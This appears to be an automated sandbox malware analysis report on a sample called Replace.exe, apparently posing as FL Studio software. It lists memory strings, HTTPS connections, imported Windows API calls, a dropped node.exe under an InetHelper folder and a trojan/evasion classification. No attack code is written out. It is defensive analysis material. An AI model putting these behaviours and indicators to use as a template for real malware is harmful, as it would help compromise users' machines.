Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-Atom
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-CharacterClass
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-CharacterClassEscape
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-ClassAtom
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-ClassAtomNoDash
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-ClassRanges
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-ControlEscape
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-ControlLetter
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-DecimalDigits
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-DecimalEscape
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-Disjunction
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-Hex4Digits
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-HexDigit
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-HexDigits
Source: node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-HexEscapeSequence
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-NonemptyClassRanges
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-NonemptyClassRangesNoDash
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-OctalDigit
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-Pattern
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-PatternCharacter
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-Quantifier
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-QuantifierPrefix
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-RegExpUnicodeEscapeSequence
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-SyntaxCharacter
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-annexB-Assertion
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-annexB-AtomEscape
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-annexB-CharacterEscape
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-annexB-ClassControlLetter
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-annexB-ClassEscape
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-annexB-ExtendedAtom
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-annexB-ExtendedPatternCharacter
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-annexB-IdentityEscape
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-annexB-InvalidBracedQuantifier
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-annexB-LegacyOctalEscapeSequence
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#prod-annexB-Term
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#sec-atomescape
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/8.0/#sec-term
Source: run.exe, 00000002.00000003.1768566979.000001981A9C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.flstudio.com
Source: run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=vst
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.iana.org/assignments/tls-extensiontype-values
Source: run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.image-line.com/content/by/
Source: run.exe, 00000002.00000003.1768566979.000001981A9C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.image-line.com/externalMediaDlg.html
Source: run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.image-line.com/flstudio/callback.html
Source: run.exe, 00000002.00000003.1768566979.000001981A9C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.image-line.com/newreleases/?username=%s&productcodes=%s&productversions=%s
Source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.unicode.org/Public/UNIDATA/EastAsianWidth.txt
Source: run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/uploadexplore
Source: node.exe, 0000000F.00000002.2922058838.0000000002050000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000003.2451571484.0000000002050000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/
Source: node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/0m

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443

Source: unknown	HTTPS traffic detected: 172.67.152.151:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.152.151:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.152.151:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.4:49760 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp

Code function: 13_2_0040558F GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

13_2_0040558F

Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe

Code function: 2_2_00007FF75FB97B08: wcscpy,CreateFileW,CloseHandle,wcscpy,wcscpy,CreateDirectoryW,wcscpy,wcscpy,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

2_2_00007FF75FB97B08

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 1_2_6E2B1000 OpenSCManagerW,OpenServiceW,ControlService,GetLastError,Sleep,QueryServiceStatus,DeleteService,CloseServiceHandle,CloseServiceHandle,

1_2_6E2B1000

Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Code function: 13_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,ExitProcess,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		13_2_004034A5
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Code function: 20_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,ExitProcess,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		20_2_004034A5

Source: C:\Users\user\Desktop\Replace.exe	Code function: 0_2_00BB52F0	0_2_00BB52F0
Source: C:\Users\user\Desktop\Replace.exe	Code function: 0_2_00BB1054	0_2_00BB1054
Source: C:\Users\user\Desktop\Replace.exe	Code function: 0_2_00BC0378	0_2_00BC0378
Source: C:\Users\user\Desktop\Replace.exe	Code function: 0_2_00BBD7F1	0_2_00BBD7F1
Source: C:\Users\user\Desktop\Replace.exe	Code function: 0_2_00BBD75B	0_2_00BBD75B
Source: C:\Users\user\Desktop\Replace.exe	Code function: 0_2_00BBA886	0_2_00BBA886
Source: C:\Users\user\Desktop\Replace.exe	Code function: 0_2_00BD8A3D	0_2_00BD8A3D
Source: C:\Users\user\Desktop\Replace.exe	Code function: 0_2_00BC2B1F	0_2_00BC2B1F
Source: C:\Users\user\Desktop\Replace.exe	Code function: 0_2_00BB9EDE	0_2_00BB9EDE
Source: C:\Users\user\Desktop\Replace.exe	Code function: 0_2_00BC3EC5	0_2_00BC3EC5
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FBB08E0	2_2_00007FF75FBB08E0
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FBAF730	2_2_00007FF75FBAF730
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FB936C8	2_2_00007FF75FB936C8
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FB99378	2_2_00007FF75FB99378
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FB9FA1C	2_2_00007FF75FB9FA1C
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FBA0818	2_2_00007FF75FBA0818
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FB967A0	2_2_00007FF75FB967A0
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FBA6788	2_2_00007FF75FBA6788
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FBA6EF8	2_2_00007FF75FBA6EF8
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FB946A8	2_2_00007FF75FB946A8
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FB9D6C8	2_2_00007FF75FB9D6C8
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FBC0664	2_2_00007FF75FBC0664
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FBC2E80	2_2_00007FF75FBC2E80
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FBC6688	2_2_00007FF75FBC6688
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FBA0DA0	2_2_00007FF75FBA0DA0
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FBB9544	2_2_00007FF75FBB9544
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FBAACC0	2_2_00007FF75FBAACC0
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FBAE4CC	2_2_00007FF75FBAE4CC
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FBA645C	2_2_00007FF75FBA645C
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FBA6B84	2_2_00007FF75FBA6B84
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FBAA394	2_2_00007FF75FBAA394
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FB92B40	2_2_00007FF75FB92B40
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FB97B08	2_2_00007FF75FB97B08
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FB94AB0	2_2_00007FF75FB94AB0
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FBA1AB8	2_2_00007FF75FBA1AB8
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FBB92C8	2_2_00007FF75FBB92C8
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FBA0210	2_2_00007FF75FBA0210
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FBC29B0	2_2_00007FF75FBC29B0
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FBBD184	2_2_00007FF75FBBD184
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Code function: 13_2_00404DCC	13_2_00404DCC
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Code function: 13_2_00406AF2	13_2_00406AF2
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Code function: 20_2_00404DCC	20_2_00404DCC
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Code function: 20_2_00406AF2	20_2_00406AF2
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Code function: 23_3_02134D71	23_3_02134D71
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Code function: 23_3_02134F74	23_3_02134F74
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Code function: 27_2_01EF5830	27_2_01EF5830
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Code function: 30_3_02252A15	30_3_02252A15
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Code function: 30_3_02254F74	30_3_02254F74
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Code function: 30_3_02254D71	30_3_02254D71
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Code function: 30_3_022529DD	30_3_022529DD

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe 79AC7AE94231A392D27F303418E305A60C4194DBBE143C5DEFFC977C7B2E7A78

Source: C:\Users\user\Desktop\Replace.exe	Code function: String function: 00BD9176 appears 66 times
Source: C:\Users\user\Desktop\Replace.exe	Code function: String function: 00BCC5F0 appears 39 times

Source: FLEngine_x64.dll.2.dr

Static PE information: Number of sections : 14 > 10

Source: Replace.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.evad.winEXE@90/28@11/7

Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe

Code function: 2_2_00007FF75FB976CC GetLastError,FormatMessageW,

2_2_00007FF75FB976CC

Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Code function: 13_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,ExitProcess,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		13_2_004034A5
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Code function: 20_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,ExitProcess,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		20_2_004034A5

Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp

Code function: 13_2_00404850 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

13_2_00404850

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 1_2_6E2B10AC CreateToolhelp32Snapshot,memset,Process32FirstW,_wcsicmp,OpenProcess,TerminateProcess,CloseHandle,Process32NextW,GetLastError,FindCloseChangeNotification,

1_2_6E2B10AC

Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp

Code function: 13_2_00402104 CoCreateInstance,

13_2_00402104

Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe

Code function: 2_2_00007FF75FBAE32C FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,GdipAlloc,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

2_2_00007FF75FBAE32C

Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe

File created: C:\Program Files\Image-Line

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp

File created: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6200:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9160:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9036:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8732:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6604:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1028:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4548:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8620:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7244:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6872:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8428:120:WilError_03

